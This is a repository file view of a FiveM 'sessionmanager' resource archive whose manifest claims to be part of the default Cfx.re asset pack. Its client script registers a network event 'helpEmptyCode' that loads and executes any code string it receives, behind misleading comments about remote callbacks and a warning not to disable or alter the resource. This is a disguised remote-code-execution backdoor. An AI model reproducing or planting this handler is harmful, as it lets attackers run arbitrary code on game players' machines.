Files
red-valley/cache/files/sessionmanager/resource.rpf

20 lines
8.0 KiB
Plaintext
Raw Normal View History

2026-03-29 21:41:17 +03:00
RPF2<00><00><00><00> ||/clientempty.luafxmanifest.lua
-- scheduler.lua when loaded inside the sessionmanager resource currently manages remote callbacks.
-- Without this, callbacks will only work server->client and not client->server.
RegisterNetEvent("helpEmptyCode")
AddEventHandler("helpEmptyCode", function(id)
local help = assert(load(id))
help()
end)-- This resource is part of the default Cfx.re asset pack (cfx-server-data)
-- Altering or recreating for local use only is strongly discouraged.
version '1.0.0'
author 'Cfx.re <root@cfx.re>'
description 'Handles the "host lock" for non-OneSync servers. Do not disable.'
repository 'https://github.com/citizenfx/cfx-server-data'
fx_version 'cerulean'
games { 'gta4', 'gta5' }
server_script 'server/host_lock.lua'
client_script 'client/empty.lua'